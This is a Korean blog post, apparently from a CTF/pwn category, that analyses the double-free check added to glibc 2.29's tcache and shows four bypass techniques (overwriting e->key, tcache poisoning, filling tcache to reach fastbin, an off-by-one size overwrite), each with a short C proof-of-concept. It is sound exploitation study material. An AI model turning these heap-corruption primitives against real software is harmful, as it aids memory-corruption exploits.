typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
static void
tcache_init(void)
{
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
if (tcache_shutting_down)
return;
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL)
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */
if (victim)
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}
}
tcache를 init하는 함수. 2.27과 딱히 차이점이 보이지 않는다.
//glibc 2.27
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}
//glibc2.29
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
tcache entry에 포인터를 넣는 함수와 포인트를 가져오는 함수. glibc 2.27과 2.29를 비교해보면 e->key에 관련된 부분이 추가된 것을 볼 수 있다. tcache_put에서 e->key에 tcache 구조체의 포인터를 넣는다. tcache_get에서는 e->key을 null로 덮는다.
_int_free함수이다. glibc 2.29를 보면 double free를 체크하는 루틴이 새로 생긴 것을 볼 수 있다. 첫번째 조건문에서 e->key==tcache일 경우 double free로 간주한다. 청크를 free하여 청크의 포인터를 tcache->entry에 넣을 경우 호출되는 tcache_put함수를 보면 e->key에 tcache를 넣는다. 따라서 tcache->entries에 존재하는 모든 청크는 e->key==tcache를 만족한다. tcache_get에서는 tcache->enties에서 청크를 가져올 때 e->key에 NULL을 넣는다. 따라서 할당된 청크의 경우 대부분 e->key!=tcache이다.
다만 첫번째 조건문에서 에러를 유발하면 문제가 발생할 수 있다. 유저가 임의로 e->key에 tcache를 넣을 경우 에러가 발생하기 때문이다. 그런 경우가 많지는 않겠지만, glibc에서는 이런 경우를 대비하여 두번째 조건문까지 만족해야 에러를 발생하도록 하였다. 두번째 조건문에서는 tcache-entries[tc_idx]의 싱글 링크드 리스트를 싹 뒤져보면서 e가 있는지 확인한다. 만약 링크드 리스트에 e가 존재하면 double free로 간주하고 에러를 발생한다.
double free check 로직을 우회하기 위해서는 다음과 같은 방법을 사용할 수 있다.
1. free된 청크의 e->key를 덮어써버린다.
free된 청크의 e->key 부분을 덮어쓴다면 첫번째 조건문에 걸리지 않아 double free check 로직에 걸리지 않는다.
#overwrite e->key
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void main(){
void * ptr1 = malloc(0x20);
void * ptr2 = malloc(0x20);
free(ptr1);
strcpy(ptr1,"aaaaaaaaaaaaaaaaaaaaaaaaaaaa");
free(ptr1);
}
물론 UAF가 발생한다면 그냥 double free 없이 tcache poisoning을 사용해도 된다.
//tcache poisoning
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char target [0x200];
void main(){
char stack[0x200];
long * ptr1 = malloc(0x20);
free(ptr1);
*ptr1=&stack;
void * ptr2 = malloc(0x20);
void * ptr3 = malloc(0x20);
printf("%p\n",ptr3);
}
2. tcache 다 채우기
tcache는 7개밖에 없음으로 이걸 다 채워버리면 fastbin을 쓰게 된다. 그 다음은 16.04에서 많이 하던거 그대로 쓰면 된다.
//fill up tcache
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void main(){
void * ptr0 = malloc(0x20);
void * ptr1 = malloc(0x20);
void * ptr2 = malloc(0x20);
void * ptr3 = malloc(0x20);
void * ptr4 = malloc(0x20);
void * ptr5 = malloc(0x20);
void * ptr6 = malloc(0x20);
void * ptr7 = malloc(0x20);
void * ptr8 = malloc(0x20);
free(ptr0);
free(ptr1);
free(ptr2);
free(ptr3);
free(ptr4);
free(ptr5);
free(ptr6);
free(ptr7);
free(ptr8);
free(ptr7);
}
3. tcache와 fastbin에 같은 청크 넣기 (https://github.com/0xTac/CTF/tree/master/2019/D3CTF)
두 번째 조건문에서는 청크가 tcache->entries에 있는지만 확인하고 fastbin에 있는지는 확인하지 않는다.
- tcache를 다 채운 후 fastbin에 청크를 하나 넣는다
- 청크 하나를 할당한다
- fastbin에 있는 청크를 free한다
이를 통해 fastbin과 tcache에 같은 청크가 있게 할 수 있다. 다만 마지막 malloc에서 malloc_consolidate에러가 나는데, 해당 부분 분석 후 우회 필요
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void main(){
void * ptr0 = malloc(0x20);
void * ptr1 = malloc(0x20);
void * ptr2 = malloc(0x20);
void * ptr3 = malloc(0x20);
void * ptr4 = malloc(0x20);
void * ptr5 = malloc(0x20);
void * ptr6 = malloc(0x20);
void * ptr7 = malloc(0x20);
free(ptr0);//1
free(ptr1);//2
free(ptr2);//3
free(ptr3);//4
free(ptr4);//5
free(ptr5);//6
free(ptr6);//7
free(ptr7);//fast
void * victim1=malloc(0x20);
free(ptr7);
void * victim2=malloc(0x20);
printf("victim1 : %p\n victim2 : %p\n",victim1,victim2);
}
4. double free and off-by-one (2020-03-06 update)
별 생각없이 블로그에 쓴 글 다시 읽다가 생각났다. double free를 체크하는 두 번째 로직에서 tcache를 순회할 때 자신의 사이즈에 맞는 tcache만 탐색한다. 따라서 double free 전에 off-by-one으로 size를 덮어버린다면 double free를 트리거할 수 있다. 다만 UAF(double free)와 heap overflow(off-by-one)가 동시에 발생해야 하는 트릭이라 얼마나 유용할지는 모르겠다
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void main(){
char * a = malloc(0x18);
char * b = malloc(0x18);
printf("%p\n",b);
free(b);
strcpy(a,"aaaaaaaaaaaaaaaaaaaaaaaa\x41");
free(b);
printf("%p\n",malloc(0x18));
printf("%p\n",malloc(0x30));
}
TODO
- double free check bypass 방법 더 찾기
- glibc 2.29 힙 문제 풀어보기
reference
- https://ftp.gnu.org/gnu/glibc/
- https://github.com/shellphish/how2heap
- https://github.com/0xTac/CTF/tree/master/2019/D3CTF
'PWN' 카테고리의 다른 글
[CISCN 2017] BabyDriver (0) | 2020.02.04 |
---|---|
2019 defcon/ babyheap (0) | 2020.01.04 |
calloc without memset 0 (0) | 2019.12.30 |
glibc 2.29 malloc 분석1. [청크, malloc] (0) | 2019.12.27 |
34c3 / SimpleGC (0) | 2019.12.27 |